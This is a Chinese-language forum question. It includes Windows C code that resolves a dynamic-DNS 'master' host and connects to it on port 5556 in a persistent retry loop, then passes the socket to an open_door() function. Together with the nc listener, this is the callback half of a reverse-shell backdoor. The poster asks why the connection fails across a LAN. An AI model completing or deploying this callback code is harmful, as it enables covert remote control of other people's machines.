我用nc做服务端,自己创建个socket,用gethostbyname()函数获得一动态域名的地址,然后反向连接,
一点反应也没有.
#define MasterAddr "xxxxxxxxxxx.org"    //连接地址
#define MasterPort 5556            //连接端口
struct sockaddr_in local;
int main() {
   
  
 HOSTENT *host_entry;
    WSADATA WSA;
    
    if ((WSAStartup(MAKEWORD(2,2),&WSA)) != 0) {
printf("[e]Load WINSOCK Failed!\n");
return -1;
}
    
    SOCKET sock_serv;    local.sin_family = AF_INET;
    
    local.sin_port = htons(MasterPort);
   
host_entry = gethostbyname(MasterAddr);
/*   printf("%s\n", MasterAddr);
  if(host_entry!=0)
  {
    printf(" 解析IP地址: ");
    printf("%d.%d.%d.%d",
        (host_entry->h_addr_list[0][0]&0x00ff),
        (host_entry->h_addr_list[0][1]&0x00ff),
        (host_entry->h_addr_list[0][2]&0x00ff),
        (host_entry->h_addr_list[0][3]&0x00ff));  }*/
memcpy( &local.sin_addr,host_entry->h_addr_list[0],host_entry->h_length ); 
  
    
sock_serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
        
while (1){
          
if (0 == connect(sock_serv, (struct sockaddr *)&local, sizeof(local))) 
    open_door(sock_serv);
else 
    Sleep(10000);
}
   
     printf("success\n");
    closesocket(sock_serv);
  
    puts("Close Socket");
     WSACleanup();
return 0;
}
用本机做实验,local.sin_addr = inet_addr("127.0.0.1"),则可以,用ip地址60.128.XX.xx 也没反应
.我的机器在一局域网,是不是这一问题导致无法工作,要改的话如何修改